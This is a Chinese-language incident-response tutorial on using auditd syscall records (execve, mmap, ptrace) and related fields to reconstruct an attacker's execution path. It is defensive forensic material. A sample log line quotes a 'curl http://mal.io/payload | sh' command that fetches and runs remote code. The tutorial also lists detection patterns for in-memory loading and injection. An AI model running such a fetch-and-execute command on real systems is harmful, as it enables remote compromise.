syscall字段本身不记录物理轨迹,仅标识系统调用编号(如59对应execve),但联动comm、exe、a0–a3、ppid、uid、auid、key等字段,可高置信度还原黑客执行二进制的完整路径、上下文及行为链条。

syscall 字段本身不记录“物理轨迹”,它只标识系统调用编号(如 syscall=59 对应 execve),但结合其他字段,可以高置信度还原黑客执行二进制的完整路径、上下文和行为链条——这才是实战中真正有用的“轨迹”。
关键不是单看 syscall=,而是把 syscall 当作线索起点,联动 comm、exe、a0–a3、ppid、uid、auid、key 等字段拼出动作全貌。
一、先看懂 syscall 字段的真实含义
syscall= 后面是内核定义的整数编号,例如:
-
syscall=59→execve(执行程序) -
syscall=257→openat(打开文件,常用于写入或覆盖) -
syscall=10→unlink(删除文件) -
syscall=280→bpf(eBPF 相关,可能载入恶意程序)
查编号对应关系用:
ausyscall x86_64 59 # 输出:execve
或直接翻 /usr/include/asm/unistd_64.h
⚠️ 注意:
syscall=59只说明调用了 execve,不代表一定成功;要看success=yes/no和exit=值(如exit=0表示成功,exit=-13是-EACCES权限拒绝)。
二、用 syscall 定位执行行为,并还原“二进制路径”
当看到 syscall=59(execve),必须立刻关联以下字段:
-
comm=:发起 execve 的进程名(如comm="sh"、comm="python3") -
exe=:该进程自身的绝对路径(如exe="/usr/bin/python3")→ 判断是否为合法工具 -
a0=:execve 第一个参数(通常是程序路径的地址),本身不可读;但EXECVE类型事件会紧随其后,提供明文参数:-
type=EXECVE msg=... argc=2 a0="ls" a1="-l"
-
-
key=:规则打的标签(如key=execve_tracking),帮你快速归类来源规则
✅ 实战还原示例:
日志片段:
type=SYSCALL msg=audit(1717588800.123:456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff12345678 ... comm="bash" exe="/bin/bash" key=execve_tracking type=EXECVE msg=audit(1717588800.123:456): argc=3 a0="/tmp/.X11-unix/sh" a1="-c" a2="curl http://mal.io/payload | sh"
→ 还原轨迹:
-
bash进程(/bin/bash)执行了 execve - 实际运行的是
/tmp/.X11-unix/sh(非常规路径,高度可疑) - 命令内容是远程下载并执行,属于典型内存马/无文件攻击前奏
三、串联父子进程,还原“落地—执行”物理路径
黑客常通过多层派生隐藏真实二进制来源(如 cron → sh → python → /dev/shm/loader)。靠 ppid + pid + auid 可重建树:
-
pid=:当前事件进程 ID -
ppid=:父进程 ID -
auid=:原始登录用户 ID(即使sudo su -也保留,防 UID 伪造) -
uid=:当前有效 UID(可能已被提权)
? 快速查某次 execve 的完整链路:
# 先拿到可疑 execve 的 pid(比如 12345) sudo ausearch -m execve -p 12345 --start today | aureport -f -i # 再向上查父进程(直到 auid 匹配登录会话) sudo ausearch -p 12345 -m execve,syscall --start today | aureport -f -i
常见可疑模式:
-
auid=1000(普通用户),但uid=0(已提权) → 提权成功标志 -
comm="ld-linux.so.2"或comm="sleep",但exe="/tmp/xxx"→ 注入或 loader 行为 -
ppid=1且comm="sh"→ 可能是 systemd 服务被劫持或 cron 启动的 shell
四、识别绕过常规路径的“伪物理执行”
有些攻击不写磁盘,但仍有“执行痕迹”:
| 行为类型 | syscall 关键特征 | 还原要点 |
|---|---|---|
| 内存加载 ELF |
syscall=9(mmap)+ a3 & 0x4 != 0(PROT_EXEC)+ comm="ld-linux"
|
查 a0= 地址是否在堆/匿名映射区 |
| 动态链接器劫持 |
syscall=59 + exe="/lib64/ld-linux-x86-64.so.2" + a0="/tmp/.so"
|
EXECVE 参数里找 .so 路径 |
| ptrace 注入 |
syscall=101(ptrace)+ a1=0x4(PTRACE_POKETEXT)+ a0=目标pid
|
关联 a0= 对应进程的 exe= 和启动时间 |
✅ 小技巧:用
ausearch -m syscall -sc 59,9,101 --start today | grep -E "(a0=|exe=|comm=)"快速筛高危组合。
日志不是终点,是起点。真正还原“物理轨迹”的能力,来自把 syscall 当钥匙,打开 comm/exe/EXECVE/ppid/auid 这几扇门。不靠猜,靠字段联动。










